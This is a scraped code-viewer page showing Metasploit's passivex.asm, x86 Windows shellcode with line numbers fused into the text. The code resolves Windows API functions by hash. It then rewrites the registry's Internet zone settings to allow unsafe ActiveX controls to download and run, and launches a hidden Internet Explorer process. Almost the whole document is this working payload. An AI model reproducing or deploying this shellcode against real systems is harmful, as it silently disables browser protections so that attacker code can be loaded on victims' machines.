Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/msf2/passivex.asm
Views: 11784
BITS 321GLOBAL _start23_start:4cld5call get_find_function6strings:7db "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3", 0x08reg_values:9db "1004120012011001"10url:11db "C:\progra~1\intern~1\iexplore -new", 0x01213get_find_function:14call startup15find_function:16pushad17mov ebp, [esp + 0x24]18mov eax, [ebp + 0x3c]19mov edi, [ebp + eax + 0x78]20add edi, ebp21mov ecx, [edi + 0x18]22mov ebx, [edi + 0x20]23add ebx, ebp24find_function_loop:25jecxz find_function_finished26dec ecx27mov esi, [ebx + ecx * 4]28add esi, ebp29compute_hash:30xor eax, eax31cdq32compute_hash_again:33lodsb34test al, al35jz compute_hash_finished36ror edx, 0xd37add edx, eax38jmp compute_hash_again39compute_hash_finished:40find_function_compare:41cmp edx, [esp + 0x28]42jnz find_function_loop43mov ebx, [edi + 0x24]44add ebx, ebp45mov cx, [ebx + 2 * ecx]46mov ebx, [edi + 0x1c]47add ebx, ebp48mov eax, [ebx + 4 * ecx]49add eax, ebp50mov [esp + 0x1c], eax51find_function_finished:52popad53retn 85455startup:56pop edi57pop ebx58find_kernel32:59xor edx, edx60mov eax, [fs:edx+0x30]61test eax, eax62js find_kernel32_9x63find_kernel32_nt:64mov eax, [eax + 0x0c]65mov esi, [eax + 0x1c]66lodsd67mov eax, [eax + 0x8]68jmp short find_kernel32_finished69find_kernel32_9x:70mov eax, [eax + 0x34]71add eax, byte 0x7c72mov eax, [eax + 0x3c]73find_kernel32_finished:7475mov ebp, esp76find_kernel32_symbols:77push 0x73e2d87e ; ExitProcess78push eax79push 0x16b3fe72 ; CreateProcessA80push eax81push 0xec0e4e8e ; LoadLibraryA82push eax83call edi84xchg eax, esi85call edi86mov [ebp], eax87call edi88mov [ebp + 0x4], eax8990load_advapi32:91push edx92push 0x3233697093push 0x6176646194push esp95call esi9697resolve_advapi32_symbols:98push 0x02922ba999push eax100push 0x2d1c9add101push eax102call edi103mov [ebp + 0x8], eax104call edi105xchg eax, edi106107xchg esi, ebx108open_key:109push esp110push esi111push 0x80000001112call edi113pop ebx114add esi, byte (reg_values - strings)115116push eax117mov edi, esp118set_values:119cmp byte [esi], 'C'120jz initialize_structs121push eax122lodsd123push eax124mov eax, esp125push byte 0x4126push edi127push byte 0x4128push byte 0x0129push eax130push ebx131call [ebp + 0x8]132jmp set_values133134; This is NT specific, but it lets us execute iexplore regardless135; of what drive it's installed on so long as it's on the same drive136; as the WINDOWS directory, which it should always be.137fixup_drive_letter:138mov cl, byte [0x7ffe0030]139mov byte [esi], cl140141initialize_structs:142push byte 0x54143pop ecx144sub esp, ecx145mov edi, esp146push edi147rep stosb148pop edi149mov byte [edi], 0x44150inc byte [edi + 0x2c]151inc byte [edi + 0x2d]152153; set lpDesktop to WinSta0\Default so that this works with non-interactive services154push 0x00746c75155push 0x61666544156push 0x5c306174157push 0x536e6957158mov [edi + 8], esp159160execute_process:161lea ebx, [edi + 0x44]162push ebx163push edi164push eax165push eax166push byte 0x10167push eax168push eax169push eax170push esi171push eax172call [ebp]173174exit_process:175call [ebp + 0x4]176177178